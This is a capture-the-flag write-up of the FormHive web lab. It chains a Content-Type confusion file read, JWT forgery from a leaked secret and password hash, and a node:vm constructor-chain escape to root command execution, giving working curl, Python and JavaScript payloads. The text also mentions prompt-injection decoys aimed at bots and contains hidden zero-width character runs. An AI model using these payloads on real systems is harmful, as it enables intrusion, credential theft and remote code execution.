← Back to Writeups
CUSTOMMediumWeb

Lab 258 — FormHive — Content-Type Confusion to JWT Forgery to Sandbox Escape

XESXOR9/2/20265 min read
#web#custom#medium#constructor_chain_traversal#content_type_confusion_file_re#jwt_credential_hash_forgery#jwt_secret_extraction#node_vm_sandbox_escape#sqlite_credential_dump

Lab 258 — FormHive — Content-Type Confusion to JWT Forgery to Sandbox Escape

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: constructor_chain_traversal, content_type_confusion_file_read, jwt_credential_hash_forgery, jwt_secret_extraction, node_vm_sandbox_escape, sqlite_credential_dump

Summary

Walkthrough of the CUSTOM Web Lab 258 — FormHive — Content-Type Confusion to JWT Forgery to Sandbox Escape. Task: Express/Node form builder; chain three bugs to read the flag. Solution: Content-Type confusion on a multer upload.any() endpoint that trusts JSON files[field].filepath gives arbitrary file read

Event: hackadvisor Category: web Difficulty: medium

Tags: content_type_confusion, arbitrary_file_read, jwt, jwt_forgery, hs256, nodejs, express, node_vm, sandbox_escape, rce, sqlite, multer, decoy_flags, prototype_chain Techniques: content_type_confusion_file_read, jwt_secret_extraction, sqlite_credential_dump, jwt_credential_hash_forgery, node_vm_sandbox_escape, constructor_chain_traversal Tools: curl, python3, pyjwt, sqlite3 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Description

FormHive is a modern form builder platform by HiveStack Labs. Users create web forms with text inputs, dropdowns, and file uploads; forms can be shared publicly. The platform has a dashboard, an admin panel for advanced template customization with dynamic expression evaluation, and a public form gallery. Goal: chain vulnerabilities to escalate access and retrieve the flag.

Stack: Express.js (Node.js), EJS views, better-sqlite3, multer, jsonwebtoken (HS256), node:vm. Credentials: user@test.com / password123. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} is embedded in HTML comments / hidden divs with prompt-injection text — ignored.

Vulnerability chain

  1. Content-Type Confusion → arbitrary file read in the form submission endpoint.
  2. JWT forgery using the leaked signing secret + admin credential data.
  3. node:vm sandbox escape in the admin template-preview expression evaluator → flag.

Step 1 — Content-Type Confusion (arbitrary file read)

POST /api/forms/:id/submit is wrapped with multer's upload.any() for multipart uploads, but it also processes a JSON files object: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

javascript
function processFormFiles(reqBody, formFields) {
  const fileFields = formFields.filter(f => f.type === 'file');
  for (const field of fileFields) {
    const fileData = reqBody.files && reqBody.files[field.name];
    if (!fileData) continue;
    const sourcePath = fileData.filepath;                       // attacker-controlled
    const destName  = uuidv4() + '-' + (fileData.originalFilename || 'upload');
    const destPath  = path.join('/app/data/uploads', destName);
    fs.copyFileSync(sourcePath, destPath);                       // arbitrary file read!
    processedFiles[field.name] = { filename: ..., storedAs: destName, ... };
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When the request is sent as application/json (not multipart/form-data), req.body.files[<fileField>].filepath is taken verbatim and fs.copyFileSync copies any server file into the publicly downloadable uploads directory. The stored file is then retrievable at GET /api/uploads/<storedAs>.

This requires a public, active form that has a field of type: "file". The gallery form 27749512-... has the field screenshot.

bash
URL="https://<instance>.labs.hackadvisor.io"
F="27749512-700c-45ba-a363-48dc63ae7466"   # public form with a file field "screenshot"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Copy the app config out
curl -s -X POST "$URL/api/forms/$F/submit" -H "Content-Type: application/json" \
  -d '{"files":{"screenshot":{"filepath":"/app/data/config.json","originalFilename":"config"}}}'
# -> {"...","files":{"screenshot":{"storedAs":"<uuid>-config", ...}}}

curl -s "$URL/api/uploads/<uuid>-config"        # downloads /app/data/config.json

Note: the original sanitized path GET /api/uploads/..%2f..%2fserver.js also yields server.js because path.join collapses the URL-decoded traversal — handy for reading the source. But the intended primitive is the JSON files.filepath copy, which reads files outside the static root (config, the SQLite DB, etc.). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Leaked config (/app/data/config.json):

json
{ "JWT_SECRET": "168c0c4dbe992edfabf0a11dd711ec67494304de950b4caec91558b7122bfee7", ... }

Leaked database (/app/data/formhive.db):

bash
curl -s -X POST "$URL/api/forms/$F/submit" -H "Content-Type: application/json" \
  -d '{"files":{"screenshot":{"filepath":"/app/data/formhive.db","originalFilename":"db"}}}'
curl -s "$URL/api/uploads/<uuid>-db" -o formhive.db
sqlite3 formhive.db "SELECT id,email,role,password_hash FROM users WHERE role='admin';"
# ce199e1f-ce3f-476f-8922-7d661279eae2 | admin@formhive.io | admin |
#   $2a$10$iw5P4PPJZ6PvP3E4uKrV7Ouo63/mFtG2qLQlJ6S0yih8iEEJXmUZS

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2 — JWT forgery

The session JWT payload is { id, hash } (no role). The auth middleware looks the user up by id and validates hash:

javascript
const expectedHash = crypto.createHash('sha256')
  .update(user.email + ':' + fullUser.password_hash)
  .digest('base64')
  .substring(0, 10);
if (decoded.hash !== expectedHash) { req.user = null; ... }

With the admin's email, password_hash (from the DB) and the JWT_SECRET (from config), forge a valid admin token:

python
import jwt, hashlib, base64
SECRET = "168c0c4dbe992edfabf0a11dd711ec67494304de950b4caec91558b7122bfee7"
aid   = "ce199e1f-ce3f-476f-8922-7d661279eae2"
email = "admin@formhive.io"
pwh   = "$2a$10$iw5P4PPJZ6PvP3E4uKrV7Ouo63/mFtG2qLQlJ6S0yih8iEEJXmUZS"
h = base64.b64encode(hashlib.sha256((email + ":" + pwh).encode()).digest()).decode()[:10]  # 8aztAnpxWE
print(jwt.encode({"id": aid, "hash": h}, SECRET, algorithm="HS256"))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Set fh_session=<token> → GET /admin/templates returns 200 (admin).

Step 3 — node:vm sandbox escape (flag)

The admin template-preview endpoint evaluates ${{ ... }} expressions through node:vm:

javascript
function evaluateExpression(expr, context) {
  const ctx = vm.createContext(Object.assign({}, context));
  return vm.runInNewContext(expr, ctx, { timeout: 2000 });
}
// POST /admin/api/templates/preview: content.replace(/\$\{\{(.+?)\}\}/gs, (_, expr) => evaluateExpression(...))

node:vm is not a security sandbox. The flag is loaded into global.__appFlag at boot (the file /tmp/.flag is deleted), so it is only reachable from the main context. Escape via the constructor chain: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
TOK="<forged admin jwt>"
curl -s -b "fh_session=$TOK" -X POST "$URL/admin/api/templates/preview" \
  -H "Content-Type: application/json" \
  -d '{"content":"${{ this.constructor.constructor(\"return global.__appFlag\")() }}"}'
# -> {"success":true,"preview":"FLAG{REDACTED}"}

Sanity check first with ${{7*7}} → 49. Full RCE as root is also possible:

javascript
this.constructor.constructor("return process")()
  .mainModule.require("child_process").execSync("id").toString()   // uid=0(root)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Notes / lessons

  • Content-Type Confusion: a single endpoint that accepts both multipart (multer) and JSON, where the JSON branch trusts a filepath, turns "file upload" into arbitrary file read. Always test JSON bodies against multipart endpoints.
  • The JWT had no role claim and used a credential-derived hash — but once you can read both the secret and the DB, the "extra" hash check is trivially recomputed.
  • node:vm (runInNewContext) is never a real sandbox: this.constructor.constructor("return global/process")() escapes to the host context.
  • Decoy flags and prompt-injection in the HTML must be ignored; the real flag requires the full RCE chain. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering constructor_chain_traversal, content_type_confusion_file_read, jwt_credential_hash_forgery, jwt_secret_extraction, node_vm_sandbox_escape, sqlite_credential_dump was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-06-20 • CUSTOM • Lab 258 — FormHive — Content-Type Confusion to JWT Forgery to Sandbox Escape • Difficulty: Medium